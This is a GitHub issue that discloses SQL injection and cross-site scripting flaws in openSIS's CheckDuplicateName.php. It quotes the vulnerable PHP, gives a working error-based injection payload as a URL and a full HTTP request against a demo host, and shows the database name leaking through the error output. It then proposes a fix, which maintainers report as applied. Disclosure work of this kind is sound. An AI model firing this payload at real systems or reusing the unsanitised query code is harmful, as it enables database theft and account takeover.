

New issue

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## XSS and Error based SQL injection in CheckDuplicateName.php #198

Closed

CP04042K opened this issue on Sep 5, 2021 · 4 comments

CP04042K commented on Sep 5, 2021 · edited

## Description

Due to lack of protection, parameters `table_name`, `field_name`, `id`, `field_id` can be abused to injection SQL queries to extract information from databases some other SQLi tricks, parameter `msg` can be used to inject XSS payload and steal user's cookie (and even takeover user's account)

```

.....
include('RedirectRootInc.php');
include('Warehouse.php');
include('Data.php');

if(isset($_REQUEST['table_name']) && isset($_REQUEST['field_name']) && isset($_REQUEST['val']) && isset($_REQUEST['field_id']) && isset($_REQUEST['msg']))

    $check_query=DBGet(DBQuery('SELECT COUNT(*) as REC_EXISTS FROM '.$_REQUEST['table_name'].' WHERE UPPER('.$_REQUEST['field_name'].')=UPPER('.$_REQUEST['val'].') AND ID <> '.$_REQUEST['id'].')');
    echo $check_query[1]['REC_EXISTS'].' '.$_REQUEST['field_id'].' '.$_REQUEST['msg'];
}

```

As we can see, no security mechanism was implemented which resulted in a lot of vulnerabilities.

## Exploiting

## • Error

Date: 09/05/2021 07:34:59

Failure Notice: DB Execute Failed

SQL: SELECT COUNT(\*) as REC\_EXISTS FROM api\_info where id=1 and extractvalue(0x0a,concat(0x0a,(select database())))-- WHERE UPPER()=UPPER(NULL) AND ID <> "

Traceback: /var/www/demo/CheckDuplicateName.php at 35

Additional Information: XPATH syntax error: 'opensisdemo'

Date: 09/05/2021 07:34:59

openSIS has encountered an error that could have resulted from any of the following:

- Invalid data input
- Database SQL error
- Program error

Please take this screen shot and send it to your openSIS representative for debugging and resolution.

## Injection point

HTTP://demo/CheckDuplicateName.php?table\_name=api\_info+where+id=1+and+extractvalue(0x0a,concat(0x0a,(select+database())))--&field\_name=&val=&field\_id=&msg=

In beneath, I've presented how information can be extracted via SQL injection. XSS can be exploited by giving the correct information in other parameters and inject Javascript code in `field_name`, `msg`.

## Request:

```

GET /CheckDuplicateName.php?table_name=api_info+where+id=1+and+extractvalue(0x0a,concat(0x0a,(select+database())))--&field_name=&val=&field_id=&msg= HTTP/1.1
Host: demo.opensis.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=iadm2hjbv54vqmskk07vcpp8n5; miniSidebar=0
Upgrade-Insecure-Requests: 1

```

## Response:

```

HTTP/1.1 200 OK
Date: Sun, 05 Sep 2021 07:59:18 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 716
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

```

**Solution**

Add security functions such as `sqlSecurityFilter` to sanitize parameters before processing or printing out to the screen. For XSS, use `htmlEntities` to properly encode the output.

**openSISAdmin** commented on Sep 9, 2021

Member

Fixed



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**openSISAdmin** closed this as completed on Sep 9, 2021

**VHAE04** commented on Mar 3

nice



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**Lebaominu** commented on Mar 4

Giỏi quá a 🏆🏆



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**kimstars** commented on Mar 4

nice



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Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

5 participants

